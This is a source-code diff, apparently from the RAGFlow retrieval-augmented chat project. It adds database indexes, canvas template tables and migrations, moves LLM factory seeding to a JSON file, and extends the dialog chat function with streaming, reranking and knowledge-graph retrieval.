-        help_text="LLM, Text Embedding, Image2Text, ASR")
+        help_text="LLM, Text Embedding, Image2Text, ASR",
+        index=True)
     llm_name = CharField(
         max_length=128,
         null=True,
         help_text="LLM name",
-        default="")
-    api_key = CharField(max_length=255, null=True, help_text="API KEY")
+        default="",
+        index=True)
+    api_key = CharField(max_length=1024, null=True, help_text="API KEY", index=True)
     api_base = CharField(max_length=255, null=True, help_text="API Base")
-    used_tokens = IntegerField(default=0)
+
+    used_tokens = IntegerField(default=0, index=True)
 
     def __str__(self):
         return self.llm_name
@@ -569,7 +595,7 @@ class TenantLLM(DataBaseModel):
 class Knowledgebase(DataBaseModel):
     id = CharField(max_length=32, primary_key=True)
     avatar = TextField(null=True, help_text="avatar base64 string")
-    tenant_id = CharField(max_length=32, null=False)
+    tenant_id = CharField(max_length=32, null=False, index=True)
     name = CharField(
         max_length=128,
         null=False,
@@ -578,36 +604,41 @@ class Knowledgebase(DataBaseModel):
     language = CharField(
         max_length=32,
         null=True,
-        default="English",
-        help_text="English|Chinese")
+        default="Chinese" if "zh_CN" in os.getenv("LANG", "") else "English",
+        help_text="English|Chinese",
+        index=True)
     description = TextField(null=True, help_text="KB description")
     embd_id = CharField(
         max_length=128,
         null=False,
-        help_text="default embedding model ID")
+        help_text="default embedding model ID",
+        index=True)
     permission = CharField(
         max_length=16,
         null=False,
         help_text="me|team",
-        default="me")
-    created_by = CharField(max_length=32, null=False)
-    doc_num = IntegerField(default=0)
-    token_num = IntegerField(default=0)
-    chunk_num = IntegerField(default=0)
-    similarity_threshold = FloatField(default=0.2)
-    vector_similarity_weight = FloatField(default=0.3)
+        default="me",
+        index=True)
+    created_by = CharField(max_length=32, null=False, index=True)
+    doc_num = IntegerField(default=0, index=True)
+    token_num = IntegerField(default=0, index=True)
+    chunk_num = IntegerField(default=0, index=True)
+    similarity_threshold = FloatField(default=0.2, index=True)
+    vector_similarity_weight = FloatField(default=0.3, index=True)
 
     parser_id = CharField(
         max_length=32,
         null=False,
         help_text="default parser ID",
-        default=ParserType.NAIVE.value)
+        default=ParserType.NAIVE.value,
+        index=True)
     parser_config = JSONField(null=False, default={"pages": [[1, 1000000]]})
     status = CharField(
         max_length=1,
         null=True,
         help_text="is it validate(0: wasted，1: validate)",
-        default="1")
+        default="1",
+        index=True)
 
     def __str__(self):
         return self.name
@@ -623,18 +654,22 @@ class Document(DataBaseModel):
     parser_id = CharField(
         max_length=32,
         null=False,
-        help_text="default parser ID")
+        help_text="default parser ID",
+        index=True)
     parser_config = JSONField(null=False, default={"pages": [[1, 1000000]]})
     source_type = CharField(
         max_length=128,
         null=False,
         default="local",
-        help_text="where dose this document come from")
-    type = CharField(max_length=32, null=False, help_text="file extension")
+        help_text="where dose this document come from",
+        index=True)
+    type = CharField(max_length=32, null=False, help_text="file extension",
+                     index=True)
     created_by = CharField(
         max_length=32,
         null=False,
-        help_text="who created it")
+        help_text="who created it",
+        index=True)
     name = CharField(
         max_length=255,
         null=True,
@@ -643,27 +678,31 @@ class Document(DataBaseModel):
     location = CharField(
         max_length=255,
         null=True,
-        help_text="where dose it store")
-    size = IntegerField(default=0)
-    token_num = IntegerField(default=0)
-    chunk_num = IntegerField(default=0)
-    progress = FloatField(default=0)
+        help_text="where dose it store",
+        index=True)
+    size = IntegerField(default=0, index=True)
+    token_num = IntegerField(default=0, index=True)
+    chunk_num = IntegerField(default=0, index=True)
+    progress = FloatField(default=0, index=True)
     progress_msg = TextField(
         null=True,
         help_text="process message",
         default="")
-    process_begin_at = DateTimeField(null=True)
+    process_begin_at = DateTimeField(null=True, index=True)
     process_duation = FloatField(default=0)
+
     run = CharField(
         max_length=1,
         null=True,
         help_text="start to run processing or cancel.(1: run it; 2: cancel)",
-        default="0")
+        default="0",
+        index=True)
     status = CharField(
         max_length=1,
         null=True,
         help_text="is it validate(0: wasted，1: validate)",
-        default="1")
+        default="1",
+        index=True)
 
     class Meta:
         db_table = "document"
@@ -672,8 +711,7 @@ class Document(DataBaseModel):
 class File(DataBaseModel):
     id = CharField(
         max_length=32,
-        primary_key=True,
-    )
+        primary_key=True)
     parent_id = CharField(
         max_length=32,
         null=False,
@@ -687,7 +725,8 @@ class File(DataBaseModel):
     created_by = CharField(
         max_length=32,
         null=False,
-        help_text="who created it")
+        help_text="who created it",
+        index=True)
     name = CharField(
         max_length=255,
         null=False,
@@ -696,9 +735,15 @@ class File(DataBaseModel):
     location = CharField(
         max_length=255,
         null=True,
-        help_text="where dose it store")
-    size = IntegerField(default=0)
-    type = CharField(max_length=32, null=False, help_text="file extension")
+        help_text="where dose it store",
+        index=True)
+    size = IntegerField(default=0, index=True)
+    type = CharField(max_length=32, null=False, help_text="file extension", index=True)
+    source_type = CharField(
+        max_length=128,
+        null=False,
+        default="",
+        help_text="where dose this document come from", index=True)
 
     class Meta:
         db_table = "file"
@@ -707,8 +752,7 @@ class File(DataBaseModel):
 class File2Document(DataBaseModel):
     id = CharField(
         max_length=32,
-        primary_key=True,
-    )
+        primary_key=True)
     file_id = CharField(
         max_length=32,
         null=True,
@@ -728,10 +772,13 @@ class Task(DataBaseModel):
     id = CharField(max_length=32, primary_key=True)
     doc_id = CharField(max_length=32, null=False, index=True)
     from_page = IntegerField(default=0)
+
     to_page = IntegerField(default=-1)
-    begin_at = DateTimeField(null=True)
+
+    begin_at = DateTimeField(null=True, index=True)
     process_duation = FloatField(default=0)
-    progress = FloatField(default=0)
+
+    progress = FloatField(default=0, index=True)
     progress_msg = TextField(
         null=True,
         help_text="process message",
@@ -740,44 +787,57 @@ class Task(DataBaseModel):
 
 class Dialog(DataBaseModel):
     id = CharField(max_length=32, primary_key=True)
-    tenant_id = CharField(max_length=32, null=False)
+    tenant_id = CharField(max_length=32, null=False, index=True)
     name = CharField(
         max_length=255,
         null=True,
-        help_text="dialog application name")
+        help_text="dialog application name",
+        index=True)
     description = TextField(null=True, help_text="Dialog description")
     icon = TextField(null=True, help_text="icon base64 string")
     language = CharField(
         max_length=32,
         null=True,
-        default="Chinese",
-        help_text="English|Chinese")
+        default="Chinese" if "zh_CN" in os.getenv("LANG", "") else "English",
+        help_text="English|Chinese",
+        index=True)
     llm_id = CharField(max_length=128, null=False, help_text="default llm ID")
+
     llm_setting = JSONField(null=False, default={"temperature": 0.1, "top_p": 0.3, "frequency_penalty": 0.7,
-                                                 "presence_penalty": 0.4, "max_tokens": 215})
+                                                 "presence_penalty": 0.4, "max_tokens": 512})
     prompt_type = CharField(
         max_length=16,
         null=False,
         default="simple",
-        help_text="simple|advanced")
+        help_text="simple|advanced",
+        index=True)
     prompt_config = JSONField(null=False, default={"system": "", "prologue": "您好，我是您的助手小樱，长得可爱又善良，can I help you?",
                                                    "parameters": [], "empty_response": "Sorry! 知识库中未找到相关内容！"})
 
     similarity_threshold = FloatField(default=0.2)
     vector_similarity_weight = FloatField(default=0.3)
+
     top_n = IntegerField(default=6)
+
+    top_k = IntegerField(default=1024)
+
     do_refer = CharField(
         max_length=1,
         null=False,
-        help_text="it needs to insert reference index into answer or not",
-        default="1")
+        help_text="it needs to insert reference index into answer or not")
+    
+    rerank_id = CharField(
+        max_length=128,
+        null=False,
+        help_text="default rerank model ID")
 
     kb_ids = JSONField(null=False, default=[])
     status = CharField(
         max_length=1,
         null=True,
         help_text="is it validate(0: wasted，1: validate)",
-        default="1")
+        default="1",
+        index=True)
 
     class Meta:
         db_table = "dialog"
@@ -786,7 +846,7 @@ class Dialog(DataBaseModel):
 class Conversation(DataBaseModel):
     id = CharField(max_length=32, primary_key=True)
     dialog_id = CharField(max_length=32, null=False, index=True)
-    name = CharField(max_length=255, null=True, help_text="converastion name")
+    name = CharField(max_length=255, null=True, help_text="converastion name", index=True)
     message = JSONField(null=True)
     reference = JSONField(null=True, default=[])
 
@@ -795,8 +855,8 @@ class Conversation(DataBaseModel):
 
 
 class APIToken(DataBaseModel):
-    tenant_id = CharField(max_length=32, null=False)
-    token = CharField(max_length=255, null=False)
+    tenant_id = CharField(max_length=32, null=False, index=True)
+    token = CharField(max_length=255, null=False, index=True)
     dialog_id = CharField(max_length=32, null=False, index=True)
 
     class Meta:
@@ -807,13 +867,85 @@ class APIToken(DataBaseModel):
 class API4Conversation(DataBaseModel):
     id = CharField(max_length=32, primary_key=True)
     dialog_id = CharField(max_length=32, null=False, index=True)
-    user_id = CharField(max_length=255, null=False, help_text="user_id")
+    user_id = CharField(max_length=255, null=False, help_text="user_id", index=True)
     message = JSONField(null=True)
     reference = JSONField(null=True, default=[])
     tokens = IntegerField(default=0)
-    duration = FloatField(default=0)
-    round = IntegerField(default=0)
-    thumb_up = IntegerField(default=0)
+
+    duration = FloatField(default=0, index=True)
+    round = IntegerField(default=0, index=True)
+    thumb_up = IntegerField(default=0, index=True)
 
     class Meta:
         db_table = "api_4_conversation"
+
+
+class UserCanvas(DataBaseModel):
+    id = CharField(max_length=32, primary_key=True)
+    avatar = TextField(null=True, help_text="avatar base64 string")
+    user_id = CharField(max_length=255, null=False, help_text="user_id", index=True)
+    title = CharField(max_length=255, null=True, help_text="Canvas title")
+
+    description = TextField(null=True, help_text="Canvas description")
+    canvas_type = CharField(max_length=32, null=True, help_text="Canvas type", index=True)
+    dsl = JSONField(null=True, default={})
+
+    class Meta:
+        db_table = "user_canvas"
+
+
+class CanvasTemplate(DataBaseModel):
+    id = CharField(max_length=32, primary_key=True)
+    avatar = TextField(null=True, help_text="avatar base64 string")
+    title = CharField(max_length=255, null=True, help_text="Canvas title")
+
+    description = TextField(null=True, help_text="Canvas description")
+    canvas_type = CharField(max_length=32, null=True, help_text="Canvas type", index=True)
+    dsl = JSONField(null=True, default={})
+
+    class Meta:
+        db_table = "canvas_template"
+
+
+def migrate_db():
+    with DB.transaction():
+        migrator = MySQLMigrator(DB)
+        try:
+            migrate(
+                migrator.add_column('file', 'source_type', CharField(max_length=128, null=False, default="",
+                                                                     help_text="where dose this document come from",
+                                                                     index=True))
+            )
+        except Exception as e:
+            pass
+        try:
+            migrate(
+                migrator.add_column('tenant', 'rerank_id',
+                                    CharField(max_length=128, null=False, default="BAAI/bge-reranker-v2-m3",
+                                              help_text="default rerank model ID"))
+
+            )
+        except Exception as e:
+            pass
+        try:
+            migrate(
+                migrator.add_column('dialog', 'rerank_id', CharField(max_length=128, null=False, default="",
+                                                                     help_text="default rerank model ID"))
+
+            )
+        except Exception as e:
+            pass
+        try:
+            migrate(
+                migrator.add_column('dialog', 'top_k', IntegerField(default=1024))
+
+            )
+        except Exception as e:
+            pass
+        try:
+            migrate(
+                migrator.alter_column_type('tenant_llm', 'api_key',
+                                           CharField(max_length=1024, null=True, help_text="API KEY", index=True))
+            )
+        except Exception as e:
+            pass

api/db/init_data.py

@@ -13,16 +13,22 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
+import json
 import os
 import time
 import uuid
+from copy import deepcopy
 
 from api.db import LLMType, UserTenantRole
 from api.db.db_models import init_database_tables as init_web_db, LLMFactories, LLM, TenantLLM
 from api.db.services import UserService
+from api.db.services.canvas_service import CanvasTemplateService
+from api.db.services.document_service import DocumentService
+from api.db.services.knowledgebase_service import KnowledgebaseService
 from api.db.services.llm_service import LLMFactoriesService, LLMService, TenantLLMService, LLMBundle
 from api.db.services.user_service import TenantService, UserTenantService
 from api.settings import CHAT_MDL, EMBEDDING_MDL, ASR_MDL, IMAGE2TEXT_MDL, PARSERS, LLM_FACTORY, API_KEY, LLM_BASE_URL
+from api.utils.file_utils import get_project_base_directory
 
 
 def init_superuser():
@@ -83,285 +89,30 @@ def init_superuser():
                 tenant["embd_id"]))
 
 
-factory_infos = [{
-    "name": "OpenAI",
-    "logo": "",
-    "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
-    "status": "1",
-}, {
-    "name": "Tongyi-Qianwen",
-    "logo": "",
-    "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
-    "status": "1",
-}, {
-    "name": "ZHIPU-AI",
-    "logo": "",
-    "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
-    "status": "1",
-},
-    {
-    "name": "Ollama",
-    "logo": "",
-    "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
-        "status": "1",
-}, {
-    "name": "Moonshot",
-    "logo": "",
-    "tags": "LLM,TEXT EMBEDDING",
-    "status": "1",
-}, {
-    "name": "FastEmbed",
-    "logo": "",
-    "tags": "TEXT EMBEDDING",
-    "status": "1",
-}, {
-    "name": "Xinference",
-    "logo": "",
-    "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
-        "status": "1",
-},{
-    "name": "Youdao",
-    "logo": "",
-    "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
-    "status": "1",
-},{
-    "name": "DeepSeek",
-    "logo": "",
-    "tags": "LLM",
-    "status": "1",
-},
-    # {
-    #     "name": "文心一言",
-    #     "logo": "",
-    #     "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
-    #     "status": "1",
-    # },
-]
-
-
 def init_llm_factory():
-    llm_infos = [
-        # ---------------------- OpenAI ------------------------
-        {
-            "fid": factory_infos[0]["name"],
-            "llm_name": "gpt-3.5-turbo",
-            "tags": "LLM,CHAT,4K",
-            "max_tokens": 4096,
-            "model_type": LLMType.CHAT.value
-        }, {
-            "fid": factory_infos[0]["name"],
-            "llm_name": "gpt-3.5-turbo-16k-0613",
-            "tags": "LLM,CHAT,16k",
-            "max_tokens": 16385,
-            "model_type": LLMType.CHAT.value
-        }, {
-            "fid": factory_infos[0]["name"],
-            "llm_name": "text-embedding-ada-002",
-            "tags": "TEXT EMBEDDING,8K",
-            "max_tokens": 8191,
-            "model_type": LLMType.EMBEDDING.value
-        }, {
-            "fid": factory_infos[0]["name"],
-            "llm_name": "whisper-1",
-            "tags": "SPEECH2TEXT",
-            "max_tokens": 25 * 1024 * 1024,
-            "model_type": LLMType.SPEECH2TEXT.value
-        }, {
-            "fid": factory_infos[0]["name"],
-            "llm_name": "gpt-4",
-            "tags": "LLM,CHAT,8K",
-            "max_tokens": 8191,
-            "model_type": LLMType.CHAT.value
-        }, {
-            "fid": factory_infos[0]["name"],
-            "llm_name": "gpt-4-turbo",
-            "tags": "LLM,CHAT,8K",
-            "max_tokens": 8191,
-            "model_type": LLMType.CHAT.value
-        },{
-            "fid": factory_infos[0]["name"],
-            "llm_name": "gpt-4-32k",
-            "tags": "LLM,CHAT,32K",
-            "max_tokens": 32768,
-            "model_type": LLMType.CHAT.value
-        }, {
-            "fid": factory_infos[0]["name"],
-            "llm_name": "gpt-4-vision-preview",
-            "tags": "LLM,CHAT,IMAGE2TEXT",
-            "max_tokens": 765,
-            "model_type": LLMType.IMAGE2TEXT.value
-        },
-        # ----------------------- Qwen -----------------------
-        {
-            "fid": factory_infos[1]["name"],
-            "llm_name": "qwen-turbo",
-            "tags": "LLM,CHAT,8K",
-            "max_tokens": 8191,
-            "model_type": LLMType.CHAT.value
-        }, {
-            "fid": factory_infos[1]["name"],
-            "llm_name": "qwen-plus",
-            "tags": "LLM,CHAT,32K",
-            "max_tokens": 32768,
-            "model_type": LLMType.CHAT.value
-        }, {
-            "fid": factory_infos[1]["name"],
-            "llm_name": "qwen-max-1201",
-            "tags": "LLM,CHAT,6K",
-            "max_tokens": 5899,
-            "model_type": LLMType.CHAT.value
-        }, {
-            "fid": factory_infos[1]["name"],
-            "llm_name": "text-embedding-v2",
-            "tags": "TEXT EMBEDDING,2K",
-            "max_tokens": 2048,
-            "model_type": LLMType.EMBEDDING.value
-        }, {
-            "fid": factory_infos[1]["name"],
-            "llm_name": "paraformer-realtime-8k-v1",
-            "tags": "SPEECH2TEXT",
-            "max_tokens": 25 * 1024 * 1024,
-            "model_type": LLMType.SPEECH2TEXT.value
-        }, {
-            "fid": factory_infos[1]["name"],
-            "llm_name": "qwen-vl-max",
-            "tags": "LLM,CHAT,IMAGE2TEXT",
-            "max_tokens": 765,
-            "model_type": LLMType.IMAGE2TEXT.value
-        },
-        # ---------------------- ZhipuAI ----------------------
-        {
-            "fid": factory_infos[2]["name"],
-            "llm_name": "glm-3-turbo",
-            "tags": "LLM,CHAT,",
-            "max_tokens": 128 * 1000,
-            "model_type": LLMType.CHAT.value
-        }, {
-            "fid": factory_infos[2]["name"],
-            "llm_name": "glm-4",
-            "tags": "LLM,CHAT,",
-            "max_tokens": 128 * 1000,
-            "model_type": LLMType.CHAT.value
-        }, {
-            "fid": factory_infos[2]["name"],
-            "llm_name": "glm-4v",
-            "tags": "LLM,CHAT,IMAGE2TEXT",
-            "max_tokens": 2000,
-            "model_type": LLMType.IMAGE2TEXT.value
-        },
-        {
-            "fid": factory_infos[2]["name"],
-            "llm_name": "embedding-2",
-            "tags": "TEXT EMBEDDING",
-            "max_tokens": 512,
-            "model_type": LLMType.EMBEDDING.value
-        },
-        # ------------------------ Moonshot -----------------------
-        {
-            "fid": factory_infos[4]["name"],
-            "llm_name": "moonshot-v1-8k",
-            "tags": "LLM,CHAT,",
-            "max_tokens": 7900,
-            "model_type": LLMType.CHAT.value
-        }, {
-            "fid": factory_infos[4]["name"],
-            "llm_name": "moonshot-v1-32k",
-            "tags": "LLM,CHAT,",
-            "max_tokens": 32768,
-            "model_type": LLMType.CHAT.value
-        }, {
-            "fid": factory_infos[4]["name"],
-            "llm_name": "moonshot-v1-128k",
-            "tags": "LLM,CHAT",
-            "max_tokens": 128 * 1000,
-            "model_type": LLMType.CHAT.value
-        },
-        # ------------------------ FastEmbed -----------------------
-        {
-            "fid": factory_infos[5]["name"],
-            "llm_name": "BAAI/bge-small-en-v1.5",
-            "tags": "TEXT EMBEDDING,",
-            "max_tokens": 512,
-            "model_type": LLMType.EMBEDDING.value
-        }, {
-            "fid": factory_infos[5]["name"],
-            "llm_name": "BAAI/bge-small-zh-v1.5",
-            "tags": "TEXT EMBEDDING,",
-            "max_tokens": 512,
-            "model_type": LLMType.EMBEDDING.value
-        }, {
-        }, {
-            "fid": factory_infos[5]["name"],
-            "llm_name": "BAAI/bge-base-en-v1.5",
-            "tags": "TEXT EMBEDDING,",
-            "max_tokens": 512,
-            "model_type": LLMType.EMBEDDING.value
-        }, {
-        }, {
-            "fid": factory_infos[5]["name"],
-            "llm_name": "BAAI/bge-large-en-v1.5",
-            "tags": "TEXT EMBEDDING,",
-            "max_tokens": 512,
-            "model_type": LLMType.EMBEDDING.value
-        }, {
-            "fid": factory_infos[5]["name"],
-            "llm_name": "sentence-transformers/all-MiniLM-L6-v2",
-            "tags": "TEXT EMBEDDING,",
-            "max_tokens": 512,
-            "model_type": LLMType.EMBEDDING.value
-        }, {
-            "fid": factory_infos[5]["name"],
-            "llm_name": "nomic-ai/nomic-embed-text-v1.5",
-            "tags": "TEXT EMBEDDING,",
-            "max_tokens": 8192,
-            "model_type": LLMType.EMBEDDING.value
-        }, {
-            "fid": factory_infos[5]["name"],
-            "llm_name": "jinaai/jina-embeddings-v2-small-en",
-            "tags": "TEXT EMBEDDING,",
-            "max_tokens": 2147483648,
-            "model_type": LLMType.EMBEDDING.value
-        }, {
-            "fid": factory_infos[5]["name"],
-            "llm_name": "jinaai/jina-embeddings-v2-base-en",
-            "tags": "TEXT EMBEDDING,",
-            "max_tokens": 2147483648,
-            "model_type": LLMType.EMBEDDING.value
-        },
-        # ------------------------ Youdao -----------------------
-        {
-            "fid": factory_infos[7]["name"],
-            "llm_name": "maidalun1020/bce-embedding-base_v1",
-            "tags": "TEXT EMBEDDING,",
-            "max_tokens": 512,
-            "model_type": LLMType.EMBEDDING.value
-        },
-        # ------------------------ DeepSeek -----------------------
-        {
-            "fid": factory_infos[8]["name"],
-            "llm_name": "deepseek-chat",
-            "tags": "LLM,CHAT,",
-            "max_tokens": 32768,
-            "model_type": LLMType.CHAT.value
-        },
-        {
-            "fid": factory_infos[8]["name"],
-            "llm_name": "deepseek-coder",
-            "tags": "LLM,CHAT,",
-            "max_tokens": 16385,
-            "model_type": LLMType.CHAT.value
-        },
-    ]
-    for info in factory_infos:
+    try:
+        LLMService.filter_delete([(LLM.fid == "MiniMax" or LLM.fid == "Minimax")])
+    except Exception as e:
+        pass
+
+    factory_llm_infos = json.load(
+        open(
+            os.path.join(get_project_base_directory(), "conf", "llm_factories.json"),
+            "r",
+        )
+    )
+    for factory_llm_info in factory_llm_infos["factory_llm_infos"]:
+        llm_infos = factory_llm_info.pop("llm")
         try:
-            LLMFactoriesService.save(**info)
-        except Exception as e:
-            pass
-    for info in llm_infos:
-        try:
-            LLMService.save(**info)
+            LLMFactoriesService.save(**factory_llm_info)
         except Exception as e:
             pass
+        for llm_info in llm_infos:
+            llm_info["fid"] = factory_llm_info["name"]
+            try:
+                LLMService.save(**llm_info)
+            except Exception as e:
+                pass
 
     LLMFactoriesService.filter_delete([LLMFactories.name == "Local"])
     LLMService.filter_delete([LLM.fid == "Local"])
@@ -370,16 +121,51 @@ def init_llm_factory():
     LLMFactoriesService.filter_delete([LLMFactoriesService.model.name == "QAnything"])
     LLMService.filter_delete([LLMService.model.fid == "QAnything"])
     TenantLLMService.filter_update([TenantLLMService.model.llm_factory == "QAnything"], {"llm_factory": "Youdao"})
+    TenantService.filter_update([1 == 1], {
+        "parser_ids": "naive:General,qa:Q&A,resume:Resume,manual:Manual,table:Table,paper:Paper,book:Book,laws:Laws,presentation:Presentation,picture:Picture,one:One,audio:Audio,knowledge_graph:Knowledge Graph"})
+    ## insert openai two embedding models to the current openai user.
+    print("Start to insert 2 OpenAI embedding models...")
+    tenant_ids = set([row["tenant_id"] for row in TenantLLMService.get_openai_models()])
+    for tid in tenant_ids:
+        for row in TenantLLMService.query(llm_factory="OpenAI", tenant_id=tid):
+            row = row.to_dict()
+            row["model_type"] = LLMType.EMBEDDING.value
+            row["llm_name"] = "text-embedding-3-small"
+            row["used_tokens"] = 0
+            try:
+                TenantLLMService.save(**row)
+                row = deepcopy(row)
+                row["llm_name"] = "text-embedding-3-large"
+                TenantLLMService.save(**row)
+            except Exception as e:
+                pass
+            break
+    for kb_id in KnowledgebaseService.get_all_ids():
+        KnowledgebaseService.update_by_id(kb_id, {"doc_num": DocumentService.get_kb_doc_count(kb_id)})
     """
     drop table llm;
     drop table llm_factories;
-    update tenant set parser_ids='naive:General,qa:Q&A,resume:Resume,manual:Manual,table:Table,paper:Paper,book:Book,laws:Laws,presentation:Presentation,picture:Picture,one:One';
+    update tenant set parser_ids='naive:General,qa:Q&A,resume:Resume,manual:Manual,table:Table,paper:Paper,book:Book,laws:Laws,presentation:Presentation,picture:Picture,one:One,audio:Audio,knowledge_graph:Knowledge Graph';
     alter table knowledgebase modify avatar longtext;
     alter table user modify avatar longtext;
     alter table dialog modify icon longtext;
     """
 
 
+def add_graph_templates():
+    dir = os.path.join(get_project_base_directory(), "agent", "templates")
+    for fnm in os.listdir(dir):
+        try:
+            cnvs = json.load(open(os.path.join(dir, fnm), "r"))
+            try:
+                CanvasTemplateService.save(**cnvs)
+            except:
+                CanvasTemplateService.update_by_id(cnvs["id"], cnvs)
+        except Exception as e:
+            print("Add graph templates error: ", e)
+            print("------------", flush=True)
+
+
 def init_web_data():
     start_time = time.time()
 
@@ -387,6 +173,7 @@ def init_web_data():
     if not UserService.get_all().count():
         init_superuser()
 
+    add_graph_templates()
     print("init web data success:{}".format(time.time() - start_time))
 
 

api/db/services/canvas_service.py

@@ -0,0 +1,26 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from datetime import datetime
+import peewee
+from api.db.db_models import DB, API4Conversation, APIToken, Dialog, CanvasTemplate, UserCanvas
+from api.db.services.common_service import CommonService
+
+
+class CanvasTemplateService(CommonService):
+    model = CanvasTemplate
+
+class UserCanvasService(CommonService):
+    model = UserCanvas

api/db/services/dialog_service.py

@@ -13,17 +13,22 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
+import os
+import json
 import re
+from copy import deepcopy
 
-from api.db import LLMType
+from api.db import LLMType, ParserType
 from api.db.db_models import Dialog, Conversation
 from api.db.services.common_service import CommonService
 from api.db.services.knowledgebase_service import KnowledgebaseService
 from api.db.services.llm_service import LLMService, TenantLLMService, LLMBundle
-from api.settings import chat_logger, retrievaler
+from api.settings import chat_logger, retrievaler, kg_retrievaler
 from rag.app.resume import forbidden_select_fields4resume
+from rag.nlp import keyword_extraction
 from rag.nlp.search import index_name
 from rag.utils import rmSpace, num_tokens_from_string, encoder
+from api.utils.file_utils import get_project_base_directory
 
 
 class DialogService(CommonService):
@@ -57,36 +62,54 @@ def message_fit_in(msg, max_length=4000):
     if c < max_length:
         return c, msg
 
-    ll = num_tokens_from_string(msg_[0].content)
-    l = num_tokens_from_string(msg_[-1].content)
+    ll = num_tokens_from_string(msg_[0]["content"])
+    l = num_tokens_from_string(msg_[-1]["content"])
     if ll / (ll + l) > 0.8:
-        m = msg_[0].content
+        m = msg_[0]["content"]
         m = encoder.decode(encoder.encode(m)[:max_length - l])
-        msg[0].content = m
+        msg[0]["content"] = m
         return max_length, msg
 
-    m = msg_[1].content
+    m = msg_[1]["content"]
     m = encoder.decode(encoder.encode(m)[:max_length - l])
-    msg[1].content = m
+    msg[1]["content"] = m
     return max_length, msg
 
 
-def chat(dialog, messages, **kwargs):
+def llm_id2llm_type(llm_id):
+    fnm = os.path.join(get_project_base_directory(), "conf")
+    llm_factories = json.load(open(os.path.join(fnm, "llm_factories.json"), "r"))
+    for llm_factory in llm_factories["factory_llm_infos"]:
+        for llm in llm_factory["llm"]:
+            if llm_id == llm["llm_name"]:
+                return llm["model_type"].strip(",")[-1]
+                
+
+def chat(dialog, messages, stream=True, **kwargs):
     assert messages[-1]["role"] == "user", "The last content of this conversation is not from user."
     llm = LLMService.query(llm_name=dialog.llm_id)
     if not llm:
         llm = TenantLLMService.query(tenant_id=dialog.tenant_id, llm_name=dialog.llm_id)
         if not llm:
             raise LookupError("LLM(%s) not found" % dialog.llm_id)
-        max_tokens = 1024
-    else: max_tokens = llm[0].max_tokens
+        max_tokens = 8192
+    else:
+        max_tokens = llm[0].max_tokens
     kbs = KnowledgebaseService.get_by_ids(dialog.kb_ids)
     embd_nms = list(set([kb.embd_id for kb in kbs]))
-    assert len(embd_nms) == 1, "Knowledge bases use different embedding models."
+    if len(embd_nms) != 1:
+        yield {"answer": "**ERROR**: Knowledge bases use different embedding models.", "reference": []}
+        return {"answer": "**ERROR**: Knowledge bases use different embedding models.", "reference": []}
+
+    is_kg = all([kb.parser_id == ParserType.KG for kb in kbs])
+    retr = retrievaler if not is_kg else kg_retrievaler
 
     questions = [m["content"] for m in messages if m["role"] == "user"]
     embd_mdl = LLMBundle(dialog.tenant_id, LLMType.EMBEDDING, embd_nms[0])
-    chat_mdl = LLMBundle(dialog.tenant_id, LLMType.CHAT, dialog.llm_id)
+    if llm_id2llm_type(dialog.llm_id) == "image2text":
+        chat_mdl = LLMBundle(dialog.tenant_id, LLMType.IMAGE2TEXT, dialog.llm_id)
+    else:
+        chat_mdl = LLMBundle(dialog.tenant_id, LLMType.CHAT, dialog.llm_id)
 
     prompt_config = dialog.prompt_config
     field_map = KnowledgebaseService.get_field_map(dialog.kb_ids)
@@ -94,7 +117,9 @@ def chat(dialog, messages, **kwargs):
     if field_map:
         chat_logger.info("Use SQL to retrieval:{}".format(questions[-1]))
         ans = use_sql(questions[-1], field_map, dialog.tenant_id, chat_mdl, prompt_config.get("quote", True))
-        if ans: return ans
+        if ans:
+            yield ans
+            return
 
     for p in prompt_config["parameters"]:
         if p["key"] == "knowledge":
@@ -105,58 +130,93 @@ def chat(dialog, messages, **kwargs):
             prompt_config["system"] = prompt_config["system"].replace(
                 "{%s}" % p["key"], " ")
 
+    rerank_mdl = None
+    if dialog.rerank_id:
+        rerank_mdl = LLMBundle(dialog.tenant_id, LLMType.RERANK, dialog.rerank_id)
+
     for _ in range(len(questions) // 2):
         questions.append(questions[-1])
     if "knowledge" not in [p["key"] for p in prompt_config["parameters"]]:
         kbinfos = {"total": 0, "chunks": [], "doc_aggs": []}
     else:
-        kbinfos = retrievaler.retrieval(" ".join(questions), embd_mdl, dialog.tenant_id, dialog.kb_ids, 1, dialog.top_n,
+        if prompt_config.get("keyword", False):
+            questions[-1] += keyword_extraction(chat_mdl, questions[-1])
+        kbinfos = retr.retrieval(" ".join(questions), embd_mdl, dialog.tenant_id, dialog.kb_ids, 1, dialog.top_n,
                                         dialog.similarity_threshold,
-                                        dialog.vector_similarity_weight, top=1024, aggs=False)
+                                        dialog.vector_similarity_weight,
+                                        doc_ids=kwargs["doc_ids"].split(",") if "doc_ids" in kwargs else None,
+                                        top=dialog.top_k, aggs=False, rerank_mdl=rerank_mdl)
     knowledges = [ck["content_with_weight"] for ck in kbinfos["chunks"]]
+    #self-rag
+    if dialog.prompt_config.get("self_rag") and not relevant(dialog.tenant_id, dialog.llm_id, questions[-1], knowledges):
+        questions[-1] = rewrite(dialog.tenant_id, dialog.llm_id, questions[-1])
+        kbinfos = retr.retrieval(" ".join(questions), embd_mdl, dialog.tenant_id, dialog.kb_ids, 1, dialog.top_n,
+                                        dialog.similarity_threshold,
+                                        dialog.vector_similarity_weight,
+                                        doc_ids=kwargs["doc_ids"].split(",") if "doc_ids" in kwargs else None,
+                                        top=dialog.top_k, aggs=False, rerank_mdl=rerank_mdl)
